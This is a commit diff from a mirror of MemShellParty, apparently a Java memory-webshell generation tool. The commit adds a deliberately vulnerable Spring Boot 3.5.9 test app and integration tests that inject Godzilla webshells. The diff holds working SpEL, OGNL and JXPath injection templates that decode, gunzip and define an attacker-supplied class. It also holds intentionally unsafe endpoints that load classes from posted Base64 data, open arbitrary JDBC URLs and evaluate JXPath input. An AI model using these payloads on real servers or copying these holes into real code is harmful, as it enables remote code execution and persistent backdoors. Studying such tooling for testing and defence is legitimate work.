mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-24 16:01:52 +08:00
fix: SpELGzipPacker class not found
This commit is contained in:
@@ -43,7 +43,7 @@ jobs:
|
|||||||
- middleware: "weblogic"
|
- middleware: "weblogic"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "springwebmvc"
|
- middleware: "springwebmvc"
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
|
||||||
- middleware: "springwebflux"
|
- middleware: "springwebflux"
|
||||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||||
- middleware: "xxljob"
|
- middleware: "xxljob"
|
||||||
|
|||||||
@@ -41,7 +41,7 @@ jobs:
|
|||||||
- middleware: "weblogic"
|
- middleware: "weblogic"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "springwebmvc"
|
- middleware: "springwebmvc"
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
|
||||||
- middleware: "struts2"
|
- middleware: "struts2"
|
||||||
depend_tasks: ":vul:vul-struts2:war"
|
depend_tasks: ":vul:vul-struts2:war"
|
||||||
runs-on: ubuntu-22.04
|
runs-on: ubuntu-22.04
|
||||||
|
|||||||
@@ -25,6 +25,7 @@ public class ContainerTool {
|
|||||||
public static final MountableFile springBoot2UndertowJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-undertow", "build", "libs", "vul-springboot2-undertow.jar").toAbsolutePath());
|
public static final MountableFile springBoot2UndertowJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-undertow", "build", "libs", "vul-springboot2-undertow.jar").toAbsolutePath());
|
||||||
public static final MountableFile springBoot2WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-webflux", "build", "libs", "vul-springboot2-webflux.jar").toAbsolutePath());
|
public static final MountableFile springBoot2WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-webflux", "build", "libs", "vul-springboot2-webflux.jar").toAbsolutePath());
|
||||||
public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath());
|
public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath());
|
||||||
|
public static final MountableFile springBoot359JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot359", "build", "libs", "vul-springboot359.jar").toAbsolutePath());
|
||||||
public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath());
|
public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath());
|
||||||
|
|
||||||
public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath();
|
public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath();
|
||||||
|
|||||||
+90
@@ -0,0 +1,90 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
public class SpringBoot359ContainerTest extends AbstractContainerTest {
|
||||||
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
|
||||||
|
.imageName("eclipse-temurin:17.0.17_10-jdk")
|
||||||
|
.jarFile(ContainerTool.springBoot359JarFile)
|
||||||
|
.jakarta(true)
|
||||||
|
.jarDeployPath("/app/app.jar")
|
||||||
|
.command("java -jar /app/app.jar")
|
||||||
|
.server(Server.SpringWebMvc)
|
||||||
|
.pidScript(ContainerTool.springbootPid)
|
||||||
|
.targetJdkVersion(Opcodes.V17)
|
||||||
|
.enableJspPackerTest(false)
|
||||||
|
.contextPath("")
|
||||||
|
.healthCheckPath("/test")
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
|
||||||
|
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
|
||||||
|
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
|
||||||
|
))
|
||||||
|
.testPackers(List.of(Packers.H2))
|
||||||
|
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||||
|
.probeShellTypes(List.of(
|
||||||
|
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
|
||||||
|
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER
|
||||||
|
))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
private static final ContainerTestConfig TOMCAT_CONFIG = ContainerTestConfig.builder()
|
||||||
|
.imageName("springboot3")
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.targetJdkVersion(Opcodes.V17)
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
// ShellType.LISTENER,
|
||||||
|
ShellType.JAKARTA_VALVE,
|
||||||
|
ShellType.JAKARTA_WEBSOCKET,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
|
))
|
||||||
|
.testPackers(List.of(Packers.H2))
|
||||||
|
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
static Network network = newNetwork();
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||||
|
|
||||||
|
static Stream<Arguments> tomcatCasesProvider() {
|
||||||
|
return generateTestCases(TOMCAT_CONFIG);
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("tomcatCasesProvider")
|
||||||
|
void testTomcat(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
|
runShellInject(TOMCAT_CONFIG, shellType, shellTool, packer);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected ContainerTestConfig getConfig() {
|
||||||
|
return CONFIG;
|
||||||
|
}
|
||||||
|
}
|
||||||
+71
@@ -0,0 +1,71 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
|
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class SpringBoot359ExpressionContainerTest {
|
||||||
|
public static final String imageName = "springboot3";
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>("eclipse-temurin:17.0.17_10-jdk")
|
||||||
|
.withCopyFileToContainer(springBoot359JarFile, "/app/app.jar")
|
||||||
|
.withCommand("java -jar /app/app.jar")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
|
||||||
|
.waitingFor(Wait.forHttp("/test"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
|
||||||
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
String host = container.getHost();
|
||||||
|
int port = container.getMappedPort(8080);
|
||||||
|
String url = "http://" + host + ":" + port;
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
|
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
return Stream.of(
|
||||||
|
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
|
||||||
|
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
|
||||||
|
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}-expression|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
|
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container);
|
||||||
|
}
|
||||||
|
}
|
||||||
-2
@@ -1,7 +1,6 @@
|
|||||||
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.integration.ContainerTool;
|
|
||||||
import com.reajason.javaweb.integration.ShellAssertion;
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
@@ -14,7 +13,6 @@ import org.junit.jupiter.params.provider.Arguments;
|
|||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
|||||||
+1
-1
@@ -11,7 +11,7 @@ import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertC
|
|||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
public class JXPathSpringGzipJDK17Packer implements Packer {
|
public class JXPathSpringGzipJDK17Packer implements Packer {
|
||||||
String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(org.springframework.util.Base64Utils.decodeFromString('{{base64Str}}')))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))";
|
String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(decode(java.util.Base64.getDecoder(), ('{{base64Str}}'))))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))";
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public String pack(ClassPackerConfig config) {
|
public String pack(ClassPackerConfig config) {
|
||||||
|
|||||||
+1
-1
@@ -12,7 +12,7 @@ import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertC
|
|||||||
* @since 2025/7/7
|
* @since 2025/7/7
|
||||||
*/
|
*/
|
||||||
public class OGNLSpringGzipJDK17Packer implements Packer {
|
public class OGNLSpringGzipJDK17Packer implements Packer {
|
||||||
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],@java.lang.Thread@currentThread().getContextClassLoader()),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()";
|
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@java.util.Base64@getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],@java.lang.Thread@currentThread().getContextClassLoader()),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()";
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
|
|||||||
+1
-1
@@ -9,7 +9,7 @@ import com.reajason.javaweb.packer.Packers;
|
|||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
public class SpELSpringGzipJDK17Packer implements Packer {
|
public class SpELSpringGzipJDK17Packer implements Packer {
|
||||||
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()";
|
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(java.util.Base64).getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()";
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public String pack(ClassPackerConfig config) {
|
public String pack(ClassPackerConfig config) {
|
||||||
|
|||||||
@@ -43,6 +43,7 @@ include("vul:vul-springboot2")
|
|||||||
include("vul:vul-springboot2-jetty")
|
include("vul:vul-springboot2-jetty")
|
||||||
include("vul:vul-springboot2-undertow")
|
include("vul:vul-springboot2-undertow")
|
||||||
include("vul:vul-springboot3")
|
include("vul:vul-springboot3")
|
||||||
|
include("vul:vul-springboot359")
|
||||||
include("vul:vul-springboot2-webflux")
|
include("vul:vul-springboot2-webflux")
|
||||||
include("vul:vul-springboot3-webflux")
|
include("vul:vul-springboot3-webflux")
|
||||||
include("vul:vul-playframework")
|
include("vul:vul-playframework")
|
||||||
|
|||||||
@@ -0,0 +1,8 @@
|
|||||||
|
FROM eclipse-temurin:17.0.17_10-jdk
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
COPY build/libs/vul-springboot3.jar /app/app.jar
|
||||||
|
|
||||||
|
EXPOSE 8080
|
||||||
|
|
||||||
|
ENTRYPOINT java $JAVA_OPTS -jar app.jar
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
id("war")
|
||||||
|
id("org.springframework.boot") version "3.5.9"
|
||||||
|
id("io.spring.dependency-management") version "1.1.7"
|
||||||
|
}
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(17)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation("org.springframework.boot:spring-boot-starter-web")
|
||||||
|
providedRuntime("org.springframework.boot:spring-boot-starter-tomcat")
|
||||||
|
testImplementation("org.springframework.boot:spring-boot-starter-test")
|
||||||
|
testImplementation("org.junit.jupiter:junit-jupiter-api")
|
||||||
|
testImplementation("org.junit.jupiter:junit-jupiter")
|
||||||
|
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
||||||
|
runtimeOnly("com.h2database:h2")
|
||||||
|
implementation("ognl:ognl:2.7.3")
|
||||||
|
implementation("commons-jxpath:commons-jxpath:1.3")
|
||||||
|
implementation("commons-beanutils:commons-beanutils:1.9.3")
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
+10
@@ -0,0 +1,10 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3;
|
||||||
|
|
||||||
|
public class ClassDefiner extends ClassLoader {
|
||||||
|
private ClassDefiner() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Class<?> defineClass(byte[] code) {
|
||||||
|
return new ClassDefiner().defineClass(null, code, 0, code.length);
|
||||||
|
}
|
||||||
|
}
|
||||||
+12
@@ -0,0 +1,12 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3;
|
||||||
|
|
||||||
|
import org.springframework.boot.SpringApplication;
|
||||||
|
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||||
|
|
||||||
|
@SpringBootApplication
|
||||||
|
public class VulSpringboot3Application {
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
SpringApplication.run(VulSpringboot3Application.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
+24
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.vul.springboot3.ClassDefiner;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/b64")
|
||||||
|
public class Base64ClassLoaderController {
|
||||||
|
|
||||||
|
@PostMapping
|
||||||
|
public String base64ClassLoader(String data) throws InstantiationException, IllegalAccessException {
|
||||||
|
byte[] bytes = Base64.getDecoder().decode(data);
|
||||||
|
Object o = ClassDefiner.defineClass(bytes).newInstance();
|
||||||
|
return o.toString();
|
||||||
|
}
|
||||||
|
}
|
||||||
+24
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3.controller;
|
||||||
|
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/6
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/biginteger")
|
||||||
|
public class BigIntegerClassLoaderController extends ClassLoader {
|
||||||
|
static byte[] decodeBigInteger(String bigIntegerStr) throws Exception {
|
||||||
|
Class<?> decoderClass = Class.forName("java.math.BigInteger");
|
||||||
|
return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX));
|
||||||
|
}
|
||||||
|
|
||||||
|
@PostMapping
|
||||||
|
public void base64ClassLoader(String data) throws Exception {
|
||||||
|
byte[] bytes = decodeBigInteger(data);
|
||||||
|
defineClass(null, bytes, 0, bytes.length).newInstance();
|
||||||
|
}
|
||||||
|
}
|
||||||
+123
@@ -0,0 +1,123 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3.controller;
|
||||||
|
|
||||||
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
public class IndexController {
|
||||||
|
|
||||||
|
@RequestMapping("/test")
|
||||||
|
public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName) throws
|
||||||
|
Exception {
|
||||||
|
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
||||||
|
Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
try {
|
||||||
|
gzipInputStream.close();
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
for (Class<?> clazz = obj.getClass();
|
||||||
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
|
try {
|
||||||
|
return clazz.getDeclaredField(name);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(name);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
try {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
@GetMapping("/")
|
||||||
|
public String index() {
|
||||||
|
return "hello";
|
||||||
|
}
|
||||||
|
}
|
||||||
+31
@@ -0,0 +1,31 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3.controller;
|
||||||
|
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import java.sql.Connection;
|
||||||
|
import java.sql.DriverManager;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/6/27
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
public class JDBCController {
|
||||||
|
|
||||||
|
@PostMapping("/jdbc")
|
||||||
|
public void JDBC(String data) throws Exception {
|
||||||
|
try {
|
||||||
|
Connection connection = DriverManager.getConnection(data);
|
||||||
|
connection.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
Throwable ex = e.getCause();
|
||||||
|
while (ex.getCause() != null) {
|
||||||
|
ex = ex.getCause();
|
||||||
|
}
|
||||||
|
if (!(ex instanceof ClassCastException)) {
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+20
@@ -0,0 +1,20 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3.controller;
|
||||||
|
|
||||||
|
import org.apache.commons.jxpath.JXPathContext;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/14
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/jxpath")
|
||||||
|
public class JXPathController {
|
||||||
|
@PostMapping
|
||||||
|
protected Object doPost(String data) {
|
||||||
|
JXPathContext context = JXPathContext.newContext(null);
|
||||||
|
return context.getValue(data);
|
||||||
|
}
|
